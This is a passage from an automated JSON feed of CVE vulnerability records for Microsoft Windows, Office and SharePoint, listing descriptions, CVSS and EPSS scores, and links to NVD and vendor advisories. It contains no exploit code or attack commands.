affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96209&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96209, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96186","cveId":"CVE-2026-96186","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.","summary":"Deserialization of untrusted data in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.","detail":"Deserialization of untrusted data in Microsoft Windows Media Foundation allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:46.207Z","updatedAt":"2026-10-16T16:22:45.210Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96186","asOf":"2026-10-16T16:22:45.210Z"},"epss":{"probability":0.02399,"percentile":0.83901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96186&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96186","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96186","type":"primary","publishedAt":"2026-10-13T19:21:46.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96186","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96186&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96186, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96118","cveId":"CVE-2026-96118","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:45.880Z","updatedAt":"2026-10-16T17:17:53.483Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96118","asOf":"2026-10-16T17:17:53.483Z"},"epss":{"probability":0.00353,"percentile":0.28695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96118&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96118","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96118","type":"primary","publishedAt":"2026-10-13T19:21:45.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96118","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96118&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96118, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96071","cveId":"CVE-2026-96071","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:45.223Z","updatedAt":"2026-10-16T17:17:53.220Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96071","asOf":"2026-10-16T17:17:53.220Z"},"epss":{"probability":0.00631,"percentile":0.49951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96071&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96071","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96071","type":"primary","publishedAt":"2026-10-13T19:21:45.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96071","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96071&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96071, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96044","cveId":"CVE-2026-96044","aliases":[],"kind":"vulnerability","title":"No cwe for this issue in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"No cwe for this issue in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"No cwe for this issue in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:45.113Z","updatedAt":"2026-10-16T14:19:12.370Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96044","asOf":"2026-10-16T14:19:12.370Z"},"epss":{"probability":0.00846,"percentile":0.5778,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96044&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96044","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96044","type":"primary","publishedAt":"2026-10-13T19:21:45.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96044","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96044&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96044, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88219","cveId":"CVE-2026-88219","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in RPC Runtime allows an unauthorized attacker to execute code over a network.","summary":"Untrusted pointer dereference in RPC Runtime allows an unauthorized attacker to execute code over a network.","detail":"Untrusted pointer dereference in RPC Runtime allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:42.773Z","updatedAt":"2026-10-20T00:34:40.280Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88219","asOf":"2026-10-20T00:34:40.280Z"},"epss":{"probability":0.0085,"percentile":0.57915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88219&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88219","type":"primary","publishedAt":"2026-10-13T19:21:42.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88219","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88219&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88219, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88210","cveId":"CVE-2026-88210","aliases":[],"kind":"vulnerability","title":"Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.","summary":"Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.","detail":"Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:42.653Z","updatedAt":"2026-10-15T21:19:09.897Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88210","asOf":"2026-10-15T21:19:09.897Z"},"epss":{"probability":0.00441,"percentile":0.38056,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88210&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88210","type":"primary","publishedAt":"2026-10-13T19:21:42.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88210","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88210&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88210, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88207","cveId":"CVE-2026-88207","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office PowerPoint allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:42.290Z","updatedAt":"2026-10-15T21:19:09.663Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88207","asOf":"2026-10-15T21:19:09.663Z"},"epss":{"probability":0.00589,"percentile":0.47858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88207&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88207","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88207","type":"primary","publishedAt":"2026-10-13T19:21:42.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88207","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88207&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88207, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88206","cveId":"CVE-2026-88206","aliases":[],"kind":"vulnerability","title":"Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:42.170Z","updatedAt":"2026-10-14T19:43:32.787Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88206","asOf":"2026-10-14T19:43:32.787Z"},"epss":{"probability":0.00573,"percentile":0.47086,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88206&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88206","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88206","type":"primary","publishedAt":"2026-10-13T19:21:42.170Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88206","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88206&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88206, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88204","cveId":"CVE-2026-88204","aliases":[],"kind":"vulnerability","title":"Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a...","summary":"Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.","detail":"Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:42.050Z","updatedAt":"2026-10-14T19:58:02.017Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88204","asOf":"2026-10-14T19:58:02.017Z"},"epss":{"probability":0.00625,"percentile":0.49658,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88204&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88204","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88204","type":"primary","publishedAt":"2026-10-13T19:21:42.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88204","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88204&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88204, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88202","cveId":"CVE-2026-88202","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:41.797Z","updatedAt":"2026-10-15T21:19:09.360Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88202","asOf":"2026-10-15T21:19:09.360Z"},"epss":{"probability":0.00758,"percentile":0.54937,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88202","type":"primary","publishedAt":"2026-10-13T19:21:41.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88202","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88200","cveId":"CVE-2026-88200","aliases":[],"kind":"vulnerability","title":"Privilege context switching error in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Privilege context switching error in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","detail":"Privilege context switching error in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:41.547Z","updatedAt":"2026-10-14T19:43:29.060Z","regions":["Global"],"vendor":"microsoft","product":"sharepoint server","stacks":["Microsoft SharePoint","Microsoft Office","sharepoint server"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-88200","asOf":"2026-10-14T19:43:29.060Z"},"epss":{"probability":0.00807,"percentile":0.56539,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88200&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-88200","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-88200","type":"primary","publishedAt":"2026-10-13T19:21:41.547Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88200","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88200&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88200, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88198","cveId":"CVE-2026-88198","aliases":[],"kind":"vulnerability","title":"Missing authorization in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.","summary":"Missing authorization in Microsoft Office SharePoint 